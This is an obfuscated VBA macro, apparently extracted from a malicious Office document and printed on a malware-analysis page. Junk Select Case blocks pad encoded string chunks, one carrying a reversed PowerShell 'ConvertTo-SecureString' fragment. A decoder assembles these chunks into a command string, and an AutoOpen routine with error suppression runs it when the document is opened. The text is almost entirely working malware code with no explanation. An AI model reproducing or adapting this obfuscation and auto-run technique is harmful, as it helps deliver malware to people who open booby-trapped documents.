wRtLNVjYY = IJVsw + IpFKi("nUilVMV XJA1AQNAYGA3AwYAYGAlBgYAcDAzAAZAMGAxAAOAJ<zZ3Glb2Hwq7_OJ7z", 19, 38)
Select Case uupuw
Case 7381
PivQzV = Fix(92784)
LahTf = Int(18728)
Case 66704
bDqbK = fjZVMY
lrCNlc = ChrW(qzFiDo)
End Select
Select Case BzWjE
Case 91632
wRJviA = Fix(66590)
VvPDAj = Int(21909)
Case 4240
BFSMOk = mMNzAm
rYqdKf = ChrW(tSEloz)
End Select
EniqXVPqOv = kjNWNLl + IpFKi("brK95j3.uwqkO@[dKwWQNAMDA1AQYAgDA4AwNAYDAlBQYAMDAwAANAYGALrY<PQfhjfbMfjnQo<Af", 21, 38)
Select Case BzWjE
Case 91632
wRJviA = Fix(66590)
VvPDAj = Int(21909)
Case 4240
BFSMOk = mMNzAm
rYqdKf = ChrW(tSEloz)
End Select
Select Case hdPBU
Case 90304
iHjzSW = Fix(17846)
mquidO = Int(25253)
Case 90049
aqLCH = izzKYn
ErCqS = ChrW(IXYvPM)
End Select
WWQhZJIOojI = icpqw + IpFKi(".w819Lf<6r#.zAwNAgDAzAANAMDAxAAZAUGAwAAOAIGAhBAZAgDA1AAMAMGAkBAMAkDA3AQNAkDAzAgZAUGAiBQOAcDA4AQNAMGAlBwYAMGA4AAOAgDAxAgNAEDAmBgNAQGA5AgZAUDAjBAOAkDAxAQZAADA0AQNAMGAlBAMAMGA0AAOAIGA1AQYAYDAmBgNAMGAlBQZAkDA4AA3Q9jnMsI(wNV", 13, 195)
Select Case hdPBU
Case 90304
iHjzSW = Fix(17846)
mquidO = Int(25253)
Case 90049
aqLCH = izzKYn
ErCqS = ChrW(IXYvPM)
End Select
Select Case cIKvNC
Case 14704
AcSNwD = Fix(57803)
wdTYT = Int(46571)
Case 86318
OBLHu = LpjRdB
MQljU = ChrW(CzOIq)
End Select
lAwfr = FjMlD + IpFKi("X%tnYtSm_7NUR<hANAmBAOAgDAwAQMAUGAiBQNAYGA1AQYAADAyAgZAUDAkBwYAcDA5AgMAQDAxAgNAUDAmBgNAgDA1AgZAIGA0AANAIDA3AwYAEGAiBQZAIDAiBwMAIDAmBQYAADA1AQYAADAyAAOAkDA2AgMAEDAiBAQ7I3b", 6, 148)
Select Case cIKvNC
Case 14704
AcSNwD = Fix(57803)
wdTYT = Int(46571)
Case 86318
OBLHu = LpjRdB
MQljU = ChrW(CzOIq)
End Select
Select Case wcPOt
Case 89545
lfEZjp = Fix(72459)
YPEJpW = Int(36011)
Case 67219
uEdvHX = RwkiGY
RjjTu = ChrW(zaEEz)
End Select
hjDrBrJY = VNPXW + IpFKi("S#7jCAwYAkDAkBQOAMGAiBQOAQDAiBwMAEGAyoPzzwO01XXd!nI$QY31S0wfM#6.PGJoM", 33, 32)
Select Case wcPOt
Case 89545
lfEZjp = Fix(72459)
YPEJpW = Int(36011)
Case 67219
uEdvHX = RwkiGY
RjjTu = ChrW(zaEEz)
End Select
Select Case JVZlLJ
Case 97437
WHRKP = Fix(17639)
CXBptZ = Int(51637)
Case 51284
piizz = KUJZiD
NYbav = ChrW(qnzrO)
End Select
ONZjJbElvtj = Plmqvj + IpFKi("[X7GYb<SjGNAUDAlBQMAUDAkBgMAMDAwAwYAMGAxAwMAIGA4AgYAEGA0AAZAMDAhBQZAUGA1AgMAMDh.w", 4, 68)
Select Case JVZlLJ
Case 97437
WHRKP = Fix(17639)
CXBptZ = Int(51637)
Case 51284
piizz = KUJZiD
NYbav = ChrW(qnzrO)
End Select
Select Case QXOJQu
Case 61286
fmhQOW = Fix(32590)
WTkzC = Int(34755)
Case 74745
HoWvj = DCUjG
fKaqra = ChrW(zvBEQM)
End Select
wlwUSmC = RwDKbY + IpFKi(".hOl]URjji2Hwj.Ot3tl32 yEk- GnIRTserUCes-OTtREvnoC | '==AA0AAMAcDAzAQOAEGAkBQNAQDAxAQMAQDAxAQOAIGA1AAMALmaQRBVm<HLa_laf", 17, 83)
Select Case QXOJQu
Case 61286
fmhQOW = Fix(32590)
WTkzC = Int(34755)
Case 74745
HoWvj = DCUjG
fKaqra = ChrW(zvBEQM)
End Select
Select Case tJnvoQ
Case 49832
vDGiuc = Fix(33097)
iwnRv = Int(22857)
Case 50196
huOFw = zaDIvJ
AuZNiz = ChrW(fHFEKv)
End Select
bFTNNrQO = srqOuzk + IpFKi("8)_Iw.!j9AiBgNAIDA2AgMAADA5AQZAUDAxAgYAgDAlBgMAcDAhBQZAEGAzAwMAYDAkBgNAgDAjB%P$%A7wDkYl!RhZw", 17, 67)
Select Case tJnvoQ
Case 49832
vDGiuc = Fix(33097)
iwnRv = Int(22857)
Case 50196
huOFw = zaDIvJ
AuZNiz = ChrW(fHFEKv)
End Select
Select Case HEDhz
Case 43330
LanzU = Fix(2447)
jjfSZ = Int(2904)
Case 95376
fzbYS = BYGNj
ufErBz = ChrW(zjFWPG)
End Select
rYbpzkIjB = Pdpzhj + IpFKi("(nw37_bohBgYAgDA2AgNAQGAwAAMAIDA1AgZAIDA1AwMAEGA3AAMAgDAyAgYAEDAhBgYAgDAmBwMAUGA4AgZAgDAkBgMAYGAlBAZAUDAiBQNAIDA5AAMAMDA0AgZAADAmBwYAQDAmBAOAEGAmBQNAIGAjBgMAEGA3AQYAMGA4AwYAcDAxAQYAUDA5AQOAgD6_.[b6!", 8, 183)
Select Case HEDhz
Case 43330
LanzU = Fix(2447)
jjfSZ = Int(2904)
Case 95376
fzbYS = BYGNj
ufErBz = ChrW(zjFWPG)
End Select
Select Case itIvQ
Case 99437
JbkhNF = Fix(94837)
WSHSsv = Int(72927)
Case 9920
owYOqA = OXACf
kWlqi = ChrW(XqIYjV)
End Select
oiKqHkn = qBCHQXR + IpFKi("2Jwtw.P7nvI35]1l7QZAEGAyAQYAEGAjBQOAMGA2AgZAYGA1AgZAcDAyAANAEDAxAgMAcDA0AQZAcDA3AQNAMGA2AgNAEDAhBQOAkDAjBANAMDA5AAZAYGAxAQYAUDA5AAMAYGA0AgMAib", 3, 123)
Select Case itIvQ
Case 99437
JbkhNF = Fix(94837)
WSHSsv = Int(72927)
Case 9920
owYOqA = OXACf
kWlqi = ChrW(XqIYjV)
End Select
Select Case LmaDIr
Case 28308
tSAizh = Fix(55271)
wPmmCW = Int(16917)
Case 16105
hQrrEK = Qibop
iHMMl = ChrW(lTANXG)
End Select
VnwuRsGX = XhDjMso + IpFKi("lbtaZAEGAxAQOAY3WitnV@Xs3<R_bYV_)vwozdQmnnG2a", 32, 10)
Select Case LmaDIr
Case 28308
tSAizh = Fix(55271)
wPmmCW = Int(16917)
Case 16105
hQrrEK = Qibop
iHMMl = ChrW(lTANXG)
End Select
Select Case fPhXh
Case 75185
JlZEri = Fix(91145)
zjQij = Int(70380)
Case 9322
Tldrz = rNMip
GGYdv = ChrW(XLUDn)
End Select
mjLRtsO = KOomo + IpFKi("mVWJAwNAYGA2AgZAQDA1AANAUDAlBQYAYDAlBANAADAwAQNAQDA3AANAEDA2AgMAkDAxAAMAUGAwAQOAYGA5AAOAEDAhBQMAADAwiVtvWY%t02Sjw", 14, 96)
Select Case fPhXh
Case 75185
JlZEri = Fix(91145)
zjQij = Int(70380)
Case 9322
Tldrz = rNMip
GGYdv = ChrW(XLUDn)
End Select
CQFswJPFuKz = jXzdLPZJtT + jJaADswZbP + LVaWhTcIUWAIwS + ChrW(34) + lEvhuuLsI + iqoPztSmff + EdmMrRizAh + hFUvJjJo + VnwuRsGX + RTFIowshLYN + WWQhZJIOojI + nvAbVVjnt + cpJGF + booPXNOioj + oiKqHkn + bFTNNrQO + WTwwTlA + TLcOamzJzT + RfiUSBI + BbWastCj + DimRqOYtqf + OnaJjFm + mVzvnV + zuzLr + wRtLNVjYY + rYbpzkIjB + EniqXVPqOv + anWjkJ + fQwdV + WbaJB + FMdwBHJXz + iGwRl + lAwfr + ZAoUP + LvMtZoRnO + JPqlL + nlLGLiiNZ + UuDIzjVJcjk + zizzJInVI + wzCWHGzUztp + WDijO + hjDrBrJY + oRzpbQBQbl + zMvtkl + nHphMcPdzfR + zqaCqFWCOs + prsmMztfTrS + wzIjqM + lLjpzLlAMF + kTpMYzIVDKj + mjLRtsO + nPndtMGjwY + ONZjJbElvtj + izcHqbz + XOYcumclzM + iMRhRKJ + GipsbznGnRX + wlwUSmC + VqRiNTUijzm + PuiDtTtvi
Select Case bRqKni
Case 29887
tjQwH = Fix(22206)
orKTmP = Int(85376)
Case 82880
mYAmcR = KijEr
pQKjMh = ChrW(znzjqF)
End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case Oidkb
Case 44560
TaHwF = Fix(3730)
JFCKIu = Int(97272)
Case 51902
vWOHl = HURkQ
bDcGL = ChrW(TXcrAB)
End Select
Select Case PQWZS
Case 6337
nRhNN = Fix(31009)
LSmhU = Int(71536)
Case 85621
BaEwCi = oDWMz
rkvwh = ChrW(NKWPsv)
End Select
Application.Run "wUuTGGAzLdENi", CQFswJPFuKz
Select Case IEqJf
Case 30795
hOwUW = Fix(758)
jddqAQ = Int(95869)
Case 39448
qjmuiX = KMAiWz
uqwjoc = ChrW(bchvih)
End Select
Select Case YrianW
Case 99073
tVkKjl = Fix(16564)
VZkfj = Int(375)
Case 7444
JsuPGF = AqmmUV
idwTz = ChrW(zdsCSG)
End Select
Select Case WtBJY
Case 76310
QvbjUn = Fix(43166)
UzzoAQ = Int(81681)
Case 12889
QCchfz = zztcGo
NjXnnB = ChrW(zJEPI)
End Select
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.